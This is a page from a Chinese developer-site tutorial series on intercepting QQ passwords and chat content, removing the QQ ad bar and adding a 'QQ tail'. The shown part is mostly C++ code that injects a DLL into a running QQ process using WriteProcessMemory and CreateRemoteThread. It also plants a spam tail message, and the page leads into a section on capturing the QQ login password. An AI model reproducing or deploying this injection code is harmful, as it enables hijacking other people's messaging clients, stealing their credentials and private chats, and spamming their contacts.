WEB开发网
开发学院软件开发VC 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ... 阅读

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴

 2009-02-21 19:59:56 来源:WEB开发网   
核心提示: typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID,

  typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );
  BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )
  {
    if ( dwPID < 1 ) return FALSE;
    ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。rn"), dwPID) );
    BOOL bRet = TRUE;
  
    // 获取dll文件路径
    CString csDllPath = GetProgramDir ();
    csDllPath += _T("dllRemoteThread.Dll");
    TCHAR szDllPath[MAX_PATH] = {0};
    lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );
  
    // 定义变量
    void *pParaRemote = NULL;
    void *pDataRemote = NULL;
    HANDLE hProcess = NULL;
  
    if ( !bInjected )
    {
      // 打开远程进程
      hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);
      if (! hProcess ) return FALSE;
      
      // 在远程进程中分配内存空间,并将数据写入
      t_RemoteThreadPara tRemoteThreadPara = {0};
      strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );
      pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );
      pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );
    }
    // 装载dll文件,并将参数传入dll的数据共享区
    HMODULE hMod = LoadLibrary ( szDllPath );
    if ( hMod )
    {
      FUNC_SetRemoteParameter pfnSetRemoteParameter =
        (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );
      if ( pfnSetRemoteParameter )
        pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );
    }
    else
    {
      bRet = FALSE;
    }
    if ( !bInjected )
    {
      // 创建远程线程执行代码
      DWORD dwThreadID = 0;
      HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)LoadLibrary,
        pDataRemote, 0, &dwThreadID );
      if ( HANDLE_IS_VALID(hThread) )
      {
        // 等待远程线程结束
        ::WaitForSingleObject ( hThread, INFINITE );
        DWORD dwRetCode = 0;
        ::GetExitCodeThread ( hThread, &dwRetCode );
        TRACE ("run and return %dn", dwRetCode );
      }
      else
      {
        bRet = FALSE;
      }
    }
    // 释放资源
    if ( hProcess && pDataRemote )
      VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );  
    if ( hMod ) FreeLibrary ( hMod );
    return bRet;
  }

截取QQ登录密码

上一页  1 2 3 4 5 6 7 8 9  下一页

Tags:如何 截取 QQ

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接